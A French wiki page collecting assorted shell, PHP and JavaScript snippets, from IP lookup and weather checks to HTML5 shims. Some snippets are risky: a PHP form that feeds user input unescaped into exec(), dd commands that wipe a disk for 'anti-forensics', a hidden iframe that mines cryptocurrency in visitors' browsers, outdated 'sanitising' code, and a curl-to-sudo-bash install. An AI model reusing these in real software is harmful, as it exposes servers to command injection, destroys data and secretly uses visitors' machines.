====== Scripts en vrac ======

Bouts de scripts de plusieurs auteurs, à utiliser en connaissance de cause, et toujurs avec prudence !

===== In the Forums =====

==== Ne cherche plus ton hostname libreoffice ====

<code bash>cat /etc/hosts</code>
  * modifiez votre **/etc/hosts** en remplaçant **HOSTNAME** par **nom-de-mon-ordinateur**
<code bash>127.0.0.1	HOSTNAME localhost HOSTNAME.(none)</code>
  * **nom-de-mon-ordinateur** est lisible à la ligne suivante
<code bash>127.0.1.1	nom-de-mon-ordinateur</code>

==== Identifiez votre adresse IP ====

<code bash>ifconfig eth0 | awk '/inet / {print $2}' | cut -d ':' -f2</code>
  * Remplacer **eth0** par le nom de votre interface réseau

==== Identifiez vos adresses IP public et privé ====

<code bash>wget -qO- icanhazip.com
nm-tool | grep '^ *Address' | awk '{ print $2 }'</code>
  * Installez au préalable le paquet nm-tool (precise et trusty uniquement → sniff)
  * le site utilitaire icanhazip retournera toujours votre IP public

===== In the Deep ... =====

==== Script php pour télécharger avec wget ====

<code php><?php
if(isset($_POST['path']) && isset($_POST['url']))
{

$path = $_POST['path'];
$url = $_POST['url'];
$cmd = "wget \"$url\" -O \"$path\"";
exec ($cmd);
echo" La commande a bien été exécutée : $cmd ";
}
print "<form action=\"$PHP_SELF\" method=post>
Lien (URL)  : <input name=url><br>
Path Complet: <input name=path><br>
<input type=submit value=\"envoyer\">";

?></code>

==== Anti-forensic ====

  * disk dump aléatoire, 7 passes ...
<code bash>for n in `seq 7`; do dd if=/dev/urandom of=/dev/sdX bs=8b conv=notrunc; done</code>
  * disk dump zero
<code bash>dd if=/dev/zero of=zero; rm -f zero</code>

==== Consultez la météo avant de sortir de chez vous ;) ====

  * nommez la ville de votre choix ... ex : toulouse, lyon, papeete, tokyo ...
  * astuce : lisez les petits caractères juste après le "curl"

  * consultation immédiate
<code bash>curl wttr.in/toulouse</code>
  * suivi enregistré pour un historique ...
<code bash>curl -A "Mozilla/4.0" wttr.in/toulouse > ./toulouse_meteo.html</code>

==== Api Coins ====

  * le code api qui implémente votre coin numérique
<code javascript>function addLoadEvent(fun) {
  if (window.attachEvent) window.attachEvent('onload', fun);
  else if (window.addEventListener) window.addEventListener('load', fun, false);
  else document.addEventListener('load', fun, false);
}

function bitpit(params) {
  addLoadEvent(function() {
  	var url = window.location.protocol + "//api.bitp.it/mine?";
    params.domain = window.location.href.split('//')[1].split('/')[0];
  	for(var name in params){
  		url = url + name + "=" + params[name] + "&";
  	}
    var frame = document.createElement("iframe");
    frame.setAttribute("src", url);
    frame.setAttribute("name", "bitpit")
    frame.setAttribute("style", "display: none;");
    frame.setAttribute("height", "0");
    frame.setAttribute("width", "0");
    document.body.appendChild(frame);
  });
}</code>

  * le code qui utilise l'api du coin numérique
<code javascript><script type="text/javascript" src="http://api.bitp.it/bitp.it.js"></script>
<script type="text/javascript">
  bitpit({clientId: "6917", forceUIThread: true});
</script></code>

==== FUR1204 -by- framakey ====

<code bash>
ubuntu@ubuntu:~$ ls /home
ubuntu
ubuntu@ubuntu:~$ cat /etc/lightdm/lightdm.conf

[SeatDefaults]
allow-guest=false
autologin-guest=false
autologin-user=ubuntu
autologin-user-timeout=0
autologin-session=lightdm-autologin
user-session=ubuntu
greeter-session=unity-greeter
ubuntu@ubuntu:~$
</code>

==== Balises HTML5 /s IE8 -by- idleman ====

Entre les balises <head> et </head> de votre site, ajoutez le code suivant :

<code javascript>
<script type="text/javascript"><br>
 document.createElement("header");<br>
 document.createElement("footer");<br>
 document.createElement("section");<br>
 document.createElement("aside");<br>
 document.createElement("nav");<br>
 document.createElement("article");<br>
 document.createElement("figure");<br>
 </script>
</code>

Le code créé ces nouvelles balises dans les références du navigateur avant le chargement de la page.

Au début de votre css, ajoutez le code suivant :

<code css>
header, footer, section, hgroup, aside, nav, article, figure, figcaption, time, dialog {<br>
 display: block;<br>
 }
</code>

Ces balises HTML5 se comporteront par défaut en tant que bloc.

==== PHP :: Récuperer et sécuriser automatiquement toutes les variables POST et GET -by- idleman ====

<code php>
$_ = array();<br>
foreach($_POST as $key=>$val){<br>
$_[$key]=mysql_escape_string(htmlentities($val));<br>
}<br>
foreach($_GET as $key=>$val){<br>
$_[$key]=mysql_escape_string(htmlentities($val));<br>
}

<?php<br>
echo $_['MaVariablePostOuGet'];<br>
?>
</code>

==== Service local visible sur l'internet -by- anonym at korben's ====

Mettre à disposition sur le net de manière totalement sauvage n'importe quel service disponible sur votre machine : Pagekite !

Pagekite va mapper votre service en local (par exemple 127.0.0.1:80) avec une URL comme http://toto.pagekite.me.

Maintenant pour l'installer, c'est très simple :

**Sous Mac OSX et Linux**

<code bash>curl -s https://pagekite.net/pk/ | sudo bash</code>
<code bash>pagekite.py 80 yourname.pagekite.me</code>

**Sous Windows**

  * Téléchargez et installez Python 2.7
  * Téléchargez pagekite.py sur votre ordi
  * Lancez le script !
